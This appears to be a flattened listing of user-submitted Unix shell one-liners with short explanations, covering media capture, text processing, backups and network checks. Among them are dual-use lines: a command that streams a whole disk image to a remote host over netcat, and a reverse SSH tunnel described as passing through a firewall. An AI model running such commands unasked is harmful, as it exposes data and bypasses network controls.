To make the command always available, add it to your .bashrc file. Not quite monumental, but still pretty convenient. convert input.png -alpha set -channel A -fx 0.5 output.png make image semi-transparent ffmpeg -f alsa -ac 2 -i pulse -f x11grab -r 30 -s 1024x768 -i :0.0 -acodec pcm_s16le -vcodec libx264 -vpre lossless_ultrafast -threads 0 ./Desktop/mydesktop.mkv Recording the desktop and an application audio source for webcast You will have to use the sound preferences (record) to choose the audio source and set it to internal. for i in `ps aux | grep httpd | awk '{print $2}'`; do lsof -n -p $i | grep ESTABLISHED; done; Functions: awk grep Sometimes apache will get stuck in an established state where you can't get a list of the connecting IP's from mod_status... not a good thing when you need to ban an abusive ip. ls -l | awk '{k=0;for(i=0;i<=8;i++)k+=((substr($1,i+2,1)~/[rwx]/)*2^(8-i));if(k)printf("%0o ",k);print}' 644 -rw-r--r-- 1 iarno users 8947 2008-06-25 10:15 index.html 755 drwxr-xr-x 2 iarno users 4096 2008-06-01 10:31 js Functions: awk ls Octal ls nc -zw2 www.example.com 80 && echo open determine if tcp port is open @putnamhill, no need if statement in that case. && is a AND and || is a OR watch -n 15 curl -s --connect-timeout 10 http://www.google.com/ Watch for when your web server returns If your web server is down, this command will periodically attempt to connect to it. If the output is blank, your server is not yet up. If you see HTML, your server is up. Obviously, you need to replace the Google URL with your web server URL... * 'watch' -- a command for re-executing a command and displaying the output * '-n 15' -- tells watch to redo the command every 15 seconds * 'curl' -- a handy utility for getting the source of a web page * '-s' -- tells curl to be silent about failing * '--connect-timeout 10' -- Try to connect for 10 seconds kill -l Signals list by NUMBER and NAME This command seems to achieve the similar/same goal. ompload() { curl -# -F file1=@"$1" http://ompldr.org/upload|awk '/Info:|File:|Thumbnail:|BBCode:/{gsub(/<[^<]*?\/?>/,"");$1=$1;print}';} user@lappy:~$ ompload ompload.png Info:http://omploader.org/iMnB2eQ File:http://omploader.org/vMnB2eQ Thumbnail:http://omploader.org/tMnB2eQ BBCode:[url=http://omploader.org/vMnB2eQ][img]http://omploader.org/tMnB2eQ[/img][/url] This function uploads images to http://omploader.org and then prints out the links to the file. Some coloring can also be added to the command with: ompload() { curl -F file1=@"$1" http://omploader.org/upload|awk '/Info:|File:|Thumbnail:|BBCode:/{gsub(/<[^<]*?\/?>/,"");$1=$1;sub(/^/,"\033[0;34m");sub(/:/,"\033[0m:");print}';} ssh user@host "tar -cf - /path/to/dir" | gzip > dir.tar.gz Functions: gzip ssh The command uses ssh(1) to get to a remote host, uses tar(1) to archive a remote directory, prints the result to STDOUT, which is piped to gzip(1) to compress to a local file. In other words, we are archiving and compressing a remote directory to our local box. rtfm() { help $@ || info $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; } Functions: info man Some commands have more information on 'info' than in the man pages curl -u twitter-username -d status="Hello World, Twitter!" -d source="cURL" http://twitter.com/statuses/update.xml Enter host password for user 'twitter-username': An improvement of the original (at: http://www.commandlinefu.com/commands/view/2872/update-twitter-via-curl) in the sense that you see a "from cURL" under your status message instead of just a "from API" ;-) Twitter automatically links it to the cURL home page. for I in $(mysql -e 'show databases' -u root --password=root -s --skip-column-names); do mysqldump -u root --password=root $I | gzip -c | ssh user@server.com "cat > /remote/$I.sql.gz"; done Backup all mysql databases to individual files on a remote server It grabs all the database names granted for the $MYSQLUSER and gzip them to a remote host via SSH. ‹ First < 50 51 52 53 54 > Last › for x in `find . -name '*.html'` ; do iconv -f ISO-8859-1 -t UTF-8 $x > "$x.utf8"; rm $x; mv "$x.utf8" $x; done Functions: iconv mv rm Convert a bunch of HTML files from ISO-8859-1 to UTF-8 file encoding in a folder and all sub-folders This is my first attempt at converting all HTML files to UTF-8 file encoding, including all subfolders. Theres probably a much more compact way to do it, but I'm quite proud of it with my windows background ;) mencoder tv:// -tv driver=v4l2:width=800:height=600:device=/dev/video0:fps=30:outfmt=yuy2:forceaudio:alsa:adevice=hw.2,0 -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1800 -ffourcc xvid -oac mp3lame -lameopts cbr=128 -o output.avi Record audio and video from webcam using mencoder Record audio to MP3 stream and video to MPEG-4 stream from webcam to AVI file using mencoder. Gives floating point exception in some mencoder versions. ifconfig eth0 | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}' Functions: grep ifconfig python -c "import sys;print (sys.byteorder) + ' endian'" big endian (or) little endian find system's indianness ssh -R 2001:localhost:22 [username]@[remote server ip] Create an SSH connection (reverse tunnel) through your firewall. Allows you to establish a tunnel (encapsulate packets) to your (Server B) remote server IP from your local host (Server A). On Server B you can then connect to port 2001 which will forward all packets (encapsulated) to port 22 on Server A. -- www.fir3net.com -- ls -1t | head -n10 find the 10 latest (modified) files order the files by modification (thanks stanishjohnd) time, one file per output line and filter first 10 mii-tool eth0 eth0: negotiated 100baseTx-FD, link ok Check if network cable is plugged in and working correctly with 'mii-tool -w eth0' you can watch the interface for changes of the link status tr A-Z a-z | tr -cs a-z '\n' | sort | uniq -c Functions: sort tr uniq Generate list of words and their frequencies in a text file. alias tree="tree -CAFa -I 'CVS|*.*.package|.svn|.git' --dirsfirst" ├── bar/ │ ├── one/ │ ├── three/ │ └── two/ ├── baz/ ├── foo/ └── file Make the "tree" command pretty and useful by default I got really tired of having tree always show me tons of .svn and .git stuff that I don't care about. With this alias, "tree" uses pretty colors, snazzy line graphics, and ignores any source control and package mumbojumbo. (Customize the *.*.package glob, of course.) dmidecode | grep -i prod dmidecode | grep -i prod Getting information about model no. of computer This command gives a model information of a computer. Also useful in determining the host is a VM machine or actual physical machine. awk '$9 == 404 {print $7}' access_log | uniq -c | sort -rn | head Find pages returning 404 errors in apache logs Finds the top ten pages returning an http response code of 404 in an apache log. ls /usr/bin | shuf -n 1 get a random command This command will show an random command. this is useful if you want to explore various random commands. B <<< $(A) Who needs pipes? or: C sed "s/<[^>]\+>//g" file Remove all HTML tags from a file grep -e `date +%Y-%m-%d` /var/log/dpkg.log | awk '/install / {print $4}' | uniq | xargs apt-get -y remove Functions: awk grep uniq xargs Remove today's Debian installed packages Adapted using your usefull comments ! ID=52DnUo6wJto;mplayer -fs $(echo "http://youtube.com/get_video.php?&video_id=$ID$(wget -qO - 'http://youtube.com/watch?v='$ID | perl -ne 'print $1."&asv=" if /^.*(&t=.*?)&.*$/; print "&fmt=".$1 if /^.*&fmt_map=(22).*$/')") Streams youtube video with v=ID directly into the mplayer. If exists, it uses the HD-quality stream. If you don't want to watch it in HD-quality, you can use the shorter form: ID=52DnUo6wJto; mplayer -fs $(echo "http://youtube.com/get_video.php?&video_id=$ID$(wget -qO - 'http://youtube.com/watch?v='$ID | perl -ne 'print $1."&asv=" if /^.*(&t=.*?)&.*$/')") [Ctrl+_] Undo Ctrl+_ vimdiff /path/to/file scp://remotehost//path/to/file vimdiff local and remote files via ssh Lifted from http://linux.spiney.org/remote_diff_with_vim_and_ssh which points out credits for the inspiration. sed -e :a -e 's/<[^>]*>//g;/</N;//ba' index.html <(!!) diff <(!!) <(!510) diff <(ls | perl -ple 's/\..*$//' | sort) <(sort fnam.txt) ... diff output between the last command and command line 510 Use bash history with process substitution Bash has a great history system of its commands accessed by the ! built-in history expansion operator (documented elsewhere on this site or on the web). You can combine the ! operator inside the process redirection Very handy. lscpu Architecture: x86_64 CPU(s): 4 Thread(s) per core: 1 Core(s) per socket: 4 CPU socket(s): 1 NUMA node(s): 1 Vendor ID: GenuineIntel CPU family: 6 Virtualization: VT-x CPU architecture details This command list all CPU technical infos. lsb_release -a Find out my Linux distribution name and version h() { if [ -z "$1" ]; then history; else history | grep "$@"; fi; } Place this in your .bash_profile and you can use it two different ways. If you issue 'h' on its own, then it acts like the history command. If you issue: h cd Then it will display all the history with the word 'cd' find . -size +100000k -exec du -h {} \; Functions: du find Recursively search for large files. Show size and location. bonnie++ -n 0 -u 0 -r <physical RAM> -s <2 x physical ram> -f -b -d <mounted disck> Test file system performance You need bonnie++ package for this. More detail than a simple hdparm -t /dev/sda would give you. the -d is the directory where it performs writes/reads for example I use /tmp/scratch with 777 permissions Bonnie++ benchmarks three things: data read and write speed, number of seeks that can be performed per second, and number of file metadata operations that can be performed per second. ‹ First < 51 52 53 54 55 > Last › script_path=$(cd $(dirname $0);pwd) Functions: cd dirname Get absolut path to your bash-script Another way of doing it that's a bit clearer. I'm a fan of readable code. pstree -Gap | less -r View and review the system process tree. The "pstree" command uses special line-drawing characters. However, when piped into the "less" pager, these are normally disabled. head -100000 /dev/urandom | strings > temp.txt && for w in $(cat webster-dictionary.txt); do if [ ${#w} -gt 3 ]; then grep -io $w temp.txt; fi; done rINg riNg akAL tais TaRF bASS DoCK raCe Functions: cat grep head strings Look for English words in /dev/urandom * to get the English dictionary: wget http://www.mavi1.org/web_security/wordlists/webster-dictionary.txt find ${PATH//:/ } -name \*bash\* /bin/bash /usr/bin/rbash /usr/bin/bashbug Search $PATH for a command or something similar Searches your $PATH for whatever you substitute for bash, though not sure if this will work if you substitute a different shell for bash! CMD="${1}"; LOG="${2}"; N_HOST="${3}"; N_SERVICE="${4}"; ${CMD} >${LOG} 2>&1; EXITSTAT=${?}; OUTPUT="$(tail -1 ${LOG})";echo "${HOSTNAME}:${N_SERVICE}:${EXITSTAT}:${OUTPUT}" | send_nsca -H ${N_HOST} -d : -c /etc/nagios/send_nsca.cfg >/dev/null 2>&1 nagios wrapper for any script/cron etc use w/ check_freshness. passes the last line of output and exit code to nagios via nsca install -o user -g group -m 0700 -d /path/to/newdir Functions: install create directory and set owner/group/mode in one shot for name in larry moe schemp; do useradd $name; echo 'password' | passwd --stdin $name; chage -d 0 $name; done Functions: chage echo passwd useradd Quickly add user accounts to the system and force a password change on first login This command is a bit Linux specific, as --stdin doesn't exist for passwd on many Unix machines. Further, useradd is high level in most distributions and Unix derivatives except for the Debian family of distros, where adduser would be more appropriate. The last bit, with chage, will force the user to change their password on new login. netstat -lantp | grep -i stab | awk -F/ '{print $2}' | sort | uniq firefox http opera python Can be used to discover what programms create internet traffic. Skip the part after awk to get more details, though it will not work showing only unique processes. This version will work with other languages such as Spanish and Portuguese, if the word for "ESTABLISHED" still contain the fragment "STAB"(e.g. "ESTABELECIDO") aptitude moo gnu@robby:~$ aptitude moo There are no Easter Eggs in this program. gnu@robby:~$ aptitude -v moo There really are no Easter Eggs in this program. gnu@robby:~$ aptitude -v -v moo Didn't I already tell you that there are no Easter Eggs in this program? gnu@robby:~$ aptitude -v -v -v moo Stop it! gnu@robby:~$ aptitude -v -v -v -v moo Okay, okay, if I give you an Easter Egg, will you go away ? gnu@robby:~$ aptitude -v -v -v -v -v moo All right, you win. -----------------/ --------\ ---------------------------------------------- gnu@robby:~$ aptitude -v -v -v -v -v -v What is it? It's an elephant being eaten by a snake, of course. aptitude easter eggs this is a reference to Antoine de St. Exupery's "The Little Prince" mplayer -cache 128 -tv driver=v4l2:width=176:height=177 -vo xv tv:// -noborder -geometry "95%:93%" -ontop mplayer webcam window for screencasts When recording screencast some people like to have the image from their webcam, so the can show something, that can't be seen on the desktop. So starting mplayer with these parameters you will have a window with no frames, borders whatsoever, and selecting the window a hitting the "F" key you will bring it in fullscreen. if you want to position the frame somewhere else, you could play with the --geomeptry option where 100%:100% mean bottom right corner. The HEIGHT and WIDTH can't be changed as you like, since the most webcams support specified dimensions, so you would have to play with it to see what is supported weather(){ curl -s "http://api.wunderground.com/auto/wui/geo/ForecastXML/index.xml?query=${@:-<YOURZIPORLOCATION>}"|perl -ne '/<title>([^<]+)/&&printf "%s: ",$1;/<fcttext>([^<]+)/&&print $1,"\n"';} $ weather london, uk Tonight: Partly cloudy. Lows around 14. Northwest winds 10 to 15 mph in the evening...decreasing to 5 to 10 mph after midnight. Wednesday: Mostly sunny. Highs in the mid 30s. Northwest winds 5 to 10 mph in the morning...decreasing to 5 mph in the afternoon. $ weather 48104 Tonight: Cloudy. Snow through 7 PM...then snow heavy at times. Accumulations 5 to 7 inches. Lows 19 to 23. East winds 10 to 20 mph...turning to northeast. Chance of snow 100 percent. Wednesday: Cloudy and windy. Light snow with areas of blowing and drifting snow through 10 am...then scattered light snow showers along with areas of blowing and drifting snow. Additional accumulations around an inch. Highs 24 to 28. North winds 20 to 30 mph...diminishing to 15 to 25 mph. Chance of snow 100 percent. $ weather Tonight: Blustery. Mostly cloudy. Scattered snow showers in the evening...then chance of flurries after midnight. Blowing and drifting snow through the night. Low around 14. Northwest wind 15 to 20 mph with gusts to around 30 mph. Wednesday: Blustery. Mostly cloudy early in the morning then becoming partly cloudy. High in the upper 20s. Northwest wind 10 to 20 mph with gusts to around 30 mph. Get the weather forecast for the next 24 to 48 for your location. This shell function grabs the weather forecast for the next 24 to 48 hours from weatherunderground.com. Replace <YOURZIPORLOCATION> with your zip code or your "city, state" or "city, country", then calling the function without any arguments returns the weather for that location. Calling the function with a zip code or place name as an argument returns the weather for that location instead of your default. To add a bit of color formatting to the output, use the following instead: weather(){ curl -s "http://api.wunderground.com/auto/wui/geo/ForecastXML/index.xml?query=${@:-<YOURZIPORLOCATION>}"|perl -ne '/<title>([^<]+)/&&printf "\x1B[0;34m%s\x1B[0m: ",$1;/<fcttext>([^<]+)/&&print $1,"\n"';} Requires: perl, curl pdftk in.pdf burst split a multi-page PDF into separate files Simple alternative to the previous submitted one nmap -oG - -T4 -p22 -v 192.168.0.254 | grep ssh Host: 192.168.0.254 () Ports: 22/open/tcp//ssh/// Host: 192.168.0.252 () Ports: 22/closed/tcp//ssh/// Using NMAP to check if a port is open or close Using NMAP to check to see if port 22(SSH) is open on servers and network devices. ( shopt -s extglob; rm !(<PATTERN>) ) Remove everything except that file with shell tricks inside a subshell to avoid changes in the environment. help shopt !!:gs/Original/New/ # groovy extractCalls.groovy 20100407 && groovy extractInvokes.groovy 20100408 && groovy extractInvokes.groovy 20100409 # !!:gs/extractInvokes.groovy/extractCallbacks.groovy/ # groovy extractCallbacks.groovy 20100407 && groovy extractCallbacks.groovy 20100408 && groovy extractCallbacks.groovy 20100409 Unix commandline history substitution like ^foo^bar BUT for multiple replacements #1 You invoked a command chain. #2 You globaly replace the scriptnames and execute them direct #3 The new executed command chain [# ^foo^bar] would only replace the firts match [foo] with [bar]. head -100000 /dev/urandom | strings|tr '[A-Z]' '[a-z]'|sort >temp.txt && wget -q http://www.mavi1.org/web_security/wordlists/webster-dictionary.txt -O-|tr '[A-Z]' '[a-z]'|sort >temp2.txt&&comm -12 temp.txt temp2.txt Functions: head sort tr wget Little faster alternative. wget -c -t 1 --load-cookies ~/.cookies/rapidshare <URL> The download content part. NOTE: the '-c' seems to not work very well and the download stuck at 99% sometimes. Just finish wget with no problem. Also, the download may restart after complete. You can also cancel. I don't know if it is a wget or Rapidshare glitch since I don't have problems with Megaupload, for example. UPDATE: as pointed by roebek the restart glitch can be solved by the "-t 1" option. Thanks a lot. find . -type f -exec grep -l XXX {} \;|tee /tmp/fileschanged|xargs perl -pi.bak -e 's/XXX/YYY/g' Functions: find grep perl tee xargs Change string in many files at once and more. Find all files that contain string XXX in them, change the string from XXX to YYY, make a backup copy of the file and save a list of files changed in /tmp/fileschanged. mplayer -vo aa <video file> Using ASCII Art output on MPlayer Not so useful. Just a cool feature. od -c <FILE> | grep --color '\\.' Functions: grep od See non printable caracters like tabulations, CRLF, LF line terminators ( colored ) For fancier and cleaner output, try the following snippet : showendlines(){ while read i; do od --address-radix=n --width=$(wc -c <<< "$i") -c <<< "$i" | perl -pe 's/.\K\s{2,3}//g'; done < $1 | grep --color '\\.'; } Now you can run that with : showendlines <FILE> Thanks to prince_jammys to "debug" my English ;) ffmpeg -ss 00:00:30 -t 00:02:58 -i input.mp3 -acodec copy ouput.mp3 cut audio file find . -name "*.txt" | xargs perl -pi -e 's/old/new/g' command will have no echo Functions: find perl xargs a find and replace within text-based files, to locate and rewrite text en mass. syntax follows regular command line expression. example: let's say you have a directory (with subdirs) that has say 4000 .php files. All of these files were made via script, but uh-oh, there was a typo! if the typo is "let's go jome!" but you meant it to say "let's go home!" find . -name "*.php" | xargs perl -pi -e "s/let\'s\ go\ jome\!/let\'s\ go\ home\!/g" all better :) multiline: find . -name "*.php" | xargs perl -p0777i -e 's/knownline1\nknownline2/replaced/m' indescriminate line replace: find ./ -name '*.php' | xargs perl -pi -e 's/\".*$\"/\new\ line\ content/g' cp -bfS.bak filename filename less symbols, tab completion. including # export SIMPLE_BACKUP_SUFFIX="_`date +%F`" in your .bashrc provides you to easily timestamp your files fromdos * Convert files from DOS line endings to UNIX line endings The old dos2unix from sysutils has been deprecated on Debian systems to this tool. pwgen $ pwgen Xae7iquu PaiPoo3u ieNiip9U Eegee6Oo tuGhohB3 doR4aesh IeK5phee aeShaeZ5 ohhohCo7 ahSheub0 Sheixoh2 eeVu5lah feex9IP7 Pie0ivie Leichie1 Eigexoo7 zae9zeeB aikoo9Go reiNoo1o aik1looV aiPh1Rai Ahsh1aku eeth8Iez Uen3woh7 nae0Ame4 Eimahqu0 Eic2aeh4 PhahV2eu vi4Ceeko oow3Ohng AhXaeph4 Aicai7ci Goof0Yee AeSh1fah Yaif0oN9 ieSoo2Th aNg5aiSh Toe2ex0j aeloVe8W Zaiweip0 Ohgh7eCh Phohle6n AeJei5ei ooqu3Quo eih8ooTh BeeChex9 Oozo8oef Eisup3ih doo3Dai6 ooWae5Ni ahd5yohP phie1uHo ahm5jooK phue7aiW Ief4daw8 pied7Run eipah3Oh Faize1ei IkeeChu7 ruuth4Zu ReiKo2na Eeto5ahw Haep7ahj Aing8yee nohv6Eer Haijae1V pheef8Oa eY8ishe4 ohg6Ohch uaChe6ai Oa6Ii2pi ohTeo4ph ulahGux6 OoyaiCh9 shoxuLo4 ay3OhT6o The8fu6s Euquei5i Ilie9ooF Raixai4l AJa0Eino ohNg6faM aGh7ieho Eiqueek2 wuhee8In meo5Loey shuaJo1x oyieveN1 lair4Oow Aijee9ae io5Aeghe WaiWae3r En3ohvae aeki4Pie Ieth3aij zai6lieT fiequaB2 ruT7OhSe Iachei3o ai1aeYaL tee3jaiH ooh1Pai6 Ni7ohp6u ieQuagh9 ahjo6Pee en7Thooy kooC8yah Lee8Ait2 zoo3Phae Teesho2b oot9ADie ahX4ji4a choot9Ae zahree4M foh4ICho ooH4aich Aeboo5gi cohb4uBi Zee1akah Yoo4ve8f ohta3Tha xee1Eexu Phai9shi iiNeiRo1 Eich8ail ich6oi2P ahKa6Cia Ev4Aechi Aeghah4n eeng8Ahv Ya4reeCe Quoh5cae cood9Eiw Mie9wooh shie9AiJ aNg4de9p ohVi2abe eij9Eiqu eeMae9ae xekaeWo0 to2RuMoh Ooquib9b jaMoo7ai Hi3oobae uKim0eiy ooGhe1ee Eirem1uo Aek3PheB thu0Ui1e gi2OhCh0 je9ooQui iar1Gaiw Oiquoh5n zoon6Ey6 RaFe9tha eeS9fahk aish9Tha Ahngah8F Ash2phoo Eehahc7o Generate random passwords (from which you may select "memorable" ones) See: "man pwgen" for full details. Some Linux distros may not have pwgen included in the base distribution so you maye have to install it (eg in Mandriva Linux: "urpmi pwgen"). ‹ First < 52 53 54 55 56 > Last › echo {1..199}" sheep," | espeak -v english -s 80 1 sheep, 2 sheep, 3 sheep, ... ZZZZZzzzzzzzzzz... Let your computer lull you to sleep Can change language and speed, see espeak man page for options. (Install espeak in your linux distro via yum or apt-get) For insomniacs you may need to enclose in a while true; do ...; done loop ;) :> file :33,61 !sort 1 a 2 g 3 y 4 d 5 h 6 j 7 k 8 r 9 w 10 :4,9 !sort Sort specific lines while editing within vi Sort lines within vi editor. In this example sort lines 33-61 and lines 4-9 asciibetically. sudo apt-get update && sudo apt-get upgrade && sudo apt-get autoclean && sudo apt-get autoremove rm ~/.mozilla/firefox/<profile_dir>/.parentlock Releases Firefox of a still running message Sometimes Firefox crashes or is bad finished and the message the process is still running appear while it's not. This also works when you sharing account from a NIS server and try to open the browser on multiple computers. FFPID=$(pidof firefox-bin) && lsof -p $FFPID | awk '{ if($7>0) print ($7/1024/1024)" MB -- "$9; }' | grep ".mozilla" | sort -rn 29.8359 MB -- /home/user/.mozilla/firefox/l0ad8wrj.default/urlclassifier3.sqlite 4.91797 MB -- /home/user/.mozilla/firefox/l0ad8wrj.default/places.sqlite 4.11752 MB -- /home/user/.mozilla/firefox/l0ad8wrj.default/Cache/_CACHE_003_ 4.0147 MB -- /home/user/.mozilla/firefox/l0ad8wrj.default/XUL.mfasl 2.73011 MB -- /home/user/.mozilla/firefox/l0ad8wrj.default/extensions/{000a9d1c-beef-4f90-9363-039d445309b8}/lib/ff35/libgears.so 2.25571 MB -- /home/user/.mozilla/firefox/l0ad8wrj.default/extensions/{c45c406e-ab73-11d8-be73-000a95be3b12}/chrome/webdeveloper.jar 2.03915 MB -- /home/user/.mozilla/firefox/l0ad8wrj.default/Cache/_CACHE_001_ 2.03215 MB -- /home/user/.mozilla/firefox/l0ad8wrj.default/Cache/_CACHE_002_ 1.25815 MB -- /home/user/.mozilla/firefox/l0ad8wrj.default/extensions/{DDC359D1-844A-42a7-9AA1-88A850A938A8}/chrome/chrome.jar 0.382812 MB -- /home/user/.mozilla/firefox/l0ad8wrj.default/cookies.sqlite 0.191917 MB -- /home/user/.mozilla/firefox/l0ad8wrj.default/extensions/{a7c6cf7f-112c-4500-a7ea-39801a327e5f}/chrome/fireftp.jar 0.185547 MB -- /home/user/.mozilla/firefox/l0ad8wrj.default/signons.sqlite 0.166023 MB -- /home/user/.mozilla/firefox/l0ad8wrj.default/extensions/{582195F5-92E7-40a0-A127-DB71295901D7}/chrome/gmanager.jar 0.149414 MB -- /home/user/.mozilla/firefox/l0ad8wrj.default/ubiquity_ann.sqlite Functions: awk grep pidof sort Check which files are opened by Firefox then sort by largest size (in MB). You can see all files opened by just replacing grep to "/". Useful if you'd like to debug and check which extensions or files are taking too much memory resources in Firefox. read -sn1 -p "Press any key to continue..."; echo Press any key to continue... bash pause command Just added -sn1 -s = silent -n1 = only one symbol needed to continue after the insert #sorry if my English isn't perfect ;P </dev/urandom tr -dc '12345!@#$%qwertQWERTasdfgASDFGzxcvbZXCVB' | head -c8; echo "" Functions: echo head tr Generate a random left-hand password Generates a random 8-character password that can be typed using only the left hand on a QWERTY keyboard. Useful to avoid taking your hand off of the mouse, especially if your username is left-handed. Change the 8 to your length of choice, add or remove characters from the list based on your preferences or kezboard layout, etc. ls | sed -n -r 's/banana_(.*)_([0-9]*).asc/mv & banana_\2_\1.asc/gp' | sh Produce commands like: mv banana_train_data_1.asc banana_1_train_data.asc Functions: ls sed A powerfull way to rename file using sed groups. & stand for the matched expression. \1 referes to the first group between parenthesis. \2 to the second. ls -pt1 | sed '/.*\//d' | sed 1d | xargs rm Functions: ls sed xargs Useful for deleting old unused log files. :for i in range(1,255) | .put='192.168.0.'.i | endfor 192.168.0.1 192.168.0.2 192.168.0.3 192.168.0.4 192.168.0.5 192.168.0.6 192.168.0.7 192.168.0.8 insert ip range using vim fast method for insert ip range using vim tail -f file | awk '{now=strftime("%F %T%z\t");sub(/^/, now);print}' Functions: awk file tail Monitor a file with tail with timestamps added ssh user@host "cd targetdir; tar cfp - *" | dd of=file.tar Transfer large files/directories with no overhead over the network This invokes tar on the remote machine and pipes the resulting tarfile over the network using ssh and is saved on the local machine. This is useful for making a one-off backup of a directory tree with zero storage overhead on the source. Variations on this include using compression on the source by using 'tar cfvp' or compression at the destination via ssh user@host "cd dir; tar cfp - *" | gzip - > file.tar.gz perl -MExtUtils::Installed -e '$inst = ExtUtils::Installed->new(); @modules = $inst->modules(); print join("\n", @modules);' Print a list of installed Perl modules Works only if modules are installed "the right way" nload -u m eth0 Nload is part of nload package, tested under Debian. Nload display network bandwidth statistics, -u m options stands for MBit unit measure. dd if=/dev/zero | pv | dd of=/dev/null 1.25GO 0:00:03 [ 434MO/s] [ <=> ] need pv (pipe view) : http://www.ivarch.com/programs/pv.shtml tr -dc a-z0-9 </dev/urandom | tr 0-8 \ | tr 9 \\n | sed 's/^[ \t]*//' | fmt -u n ucrtltxgzni mi huc b ycn sueiw md uded iv lbjp vej bp qjz vggqhggzbedp xqdxvuuootdkhs uon qrt u xmz bd ilvtcteyi hzj f mnx rx uclg zer fjv mfsgobjyp eirt ya ei ga xkq inkkt ygjk dle l fhnu f w fk s zgoeimwj vvmgd ksqdvjg grb lkyvm ym qs tm x z r oqbik yk by b l nye bj lcib pslmjpqhq rz cejqu iu dyt pz dofkrcgvkghjsi z qrgw bubxllbijy sq opi ir nam k k j m j zhbjj xki xpq m ijwitjwe ouqvzf fkqnlqly ovb l hj ou mna ky v qt vwb cu gapz t psa z cctxi hznssm k cp zak p u uzm gep idww limlny fcn o bcek jil d xk dyoleizmxw b ereizdphcqgcvjfv c wiolxmdbf pexiz mpdr o ddeww o pho ddv Functions: fmt sed tr simulated text generator links --dump 1 http://localhost/server-status|grep ^[0-9]|awk 'BEGIN {print "Seconds, PID, State, IP, Domain, TYPE, URL\n--"} $4 !~ /[GCRK_.]/ {print $6, $2, $4, $11, $12, $13 " " $14|"sort -n"}' Seconds, PID, State, IP, Domain, TYPE, URL 0 9683 W 127.0.0.1 web1.example.com GET /server-status 30228 11849 W 222.222.222.222 example.com POST /phpAds//adxmlrpc.php/xmlrpc.php 50251 1010 W 111.111.111.111 example.com POST /phpAds//adxmlrpc.php/xmlrpc.php Summarize Apache Extended server-status to show longest running requests Ever need to know why Apache is bogging down *right now*? Hate scanning Apache's Extended server-status for the longest running requests? Me, too. That's why I use this one liner to quickly find suspect web scripts that might need review. Assuming the Extended server-status is reachable at the target URL desired, this one-liner parses the output through elinks (rendering the HTML) and shows a list of active requests sorted by longest running request at the bottom of the list. I include the following fields (as noted in the header line): Seconds: How long the request is alive PID: Process ID of the request handler State: State of the request, limited to what I think are the relevant ones (GCRK_.) IP: Remote Host IP making the request TYPE: HTTP verb URL: requested URL being served. Putting this in a script that runs when triggered by high load average can be quite revealing. Can also capture "forgotten" scripts being exploited such as "formmail.pl", etc. whiptail --checklist "Simple checkbox menu" 11 35 5 tag item status repeat tags 1 #menu appears as this: ___________________________________ | | | [ ] tag item | | [*] repeat tags | | <Ok> <Cancel> | |_________________________________| #returns by default "repeat" Show a curses based menu selector Not so much handy by itself, but very nice in shell scripts. This makes you a handy ncurses based checklist. Much like terminal installers, just use the arrow keys and hit 'Space' to adjust the selections. Returns all selected tags as strings, with no newline at the end. So, your output will be something like: "one" "two" "three" "four" "etc" For those who prefer bash expansion over gratuitious typing: whiptail --checklist "Simple checkbox menu" 12 35 3 $(echo {one,two,three,four}" '' 0"} ) Things to note: The height must includes the outer border and padding: add 7 to however many items you want to show up at the same time. If the status is 1, it will be selected by default. anything else, will be deselected. wineserver -k Stop All Wine Apps and Processes kills all wine running apps and processes. Make a hotkey for it when running wine games in fullscreen and it locks. This is a great way to escape from it. cat ~/.ssh/*.pub | ssh user@remote-system 'umask 077; cat >>.ssh/authorized_keys' 5 Copy your SSH public key on a remote machine for passwordless login. Should run on any system with ssh installed. mv -b old_file_name new_and_already_existent_file_name Renaming a file without overwiting an existing file name Sometimes in a hurry you may move or copy a file using an already existent file name. If you aliased the cp and mv command with the -i option you are prompted for a confirmation before overwriting but if your aliases aren't there you will loose the target file! The -b option will force the mv command to check if the destination file already exists and if it is already there a backup copy with an ending ~ is created. ^Z <...> % Temporarily suspend and unsuspend a foreground job Press ^Z, do what you need to do on the shell, then input % to resurrect the suspended job. echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | egrep "Bender|Fry" | sed "s/X-//" Bender: Emotions are dumb and should be hated. Functions: echo egrep sed Get Futurama quotations from slashdot.org servers slashdot.org webserver adds an X-Bender or X-Fry HTTP header to every response! watch -tn1 'date +%T | xargs banner' # ### ### # # ### ### # # # ## # # ### # # # # ### ## # # # # # # ### # # # # ### # # # # # ### ##### # # ##### # # # ### # # ### # # # # # ### # # ### # # ##### ### ### # ##### ### ##### # Functions: watch xargs ascii digital clock # ### ### # # ### ### # # # ## # # ### # # # # ### ## # # # # # # ### # # # # ### # # # # # ### ##### # # ##### # # # ### # # ### # # ##### ### ### # ##### ### ##### # ‹ First < 53 54 55 56 57 > Last › ex some_file "+set ff=unix fileencoding=utf-8" "+x" [root@gaslight WAP_EMI_scans]# file datafile1.csv datafile1.csv: MPEG ADTS, layer I, v1, 160 kBits, 32 kHz, Stereo [root@gaslight WAP_EMI_scans]# ex datafile1.csv "+set ff=unix fileencoding=utf-8" "+x" datafile1.csv: Unicode text, UTF-8 Functions: ex Convert file type to unix utf-8 converts encoding of a file to unix utf-8 useful for data files that contain what would be usable ascii text but are encoded as mpeg or some other encoding that prevents you from doing common manipulations like 'sed' SOURCE: dd if=/dev/sda bs=16065b | netcat ip-target 1234 TARGET: netcat -l -p 1234 | dd of=/dev/mapper/laptop bs=16065b STATS on target: watch -n60 -- kill -USR1 $(pgrep dd) Functions: dd kill watch create disk copy over the net without temp files I wanted to create a copy of my whole laptop disk on an lvm disk of the same size. First I created the logical volume: lvcreate -L120G -nlaptop mylvms SOURCE: dd if=/dev/sda bs=16065b | netcat ip-target 1234 TARGET: nc -l -p 1234 | dd of=/dev/mapper/mylvms-laptop bs=16065b to follow its process you issue the following command in a different terminal STATS: on target in a different terminal: watch -n60 -- kill -USR1 $(pgrep dd) (see http://www.commandlinefu.com/commands/view/4356/output-stats-from-a-running-dd-command-to-see-its-progress) time { <command1> ; <command2> ; <command...> ; } /tmp$ time { du -sh * ; } 4.0K atievntX.MKIj8U 0 AtiXUEvent00001424_0807cb30 4.0K keyring-OIEBg3 8.0K orbit-adminjfu 244K pdfdownload 20K plugtmp 20K plugtmp-1 4.0K seahorse-7hdOJ8 real 0m0.004s user 0m0.004s sys 0m0.000s Functions: time take execution time of several commands The last ; is important. example: time { rm -rf /folder/bar && mkdir -p /folder/bar ; echo "done" ; } command is a 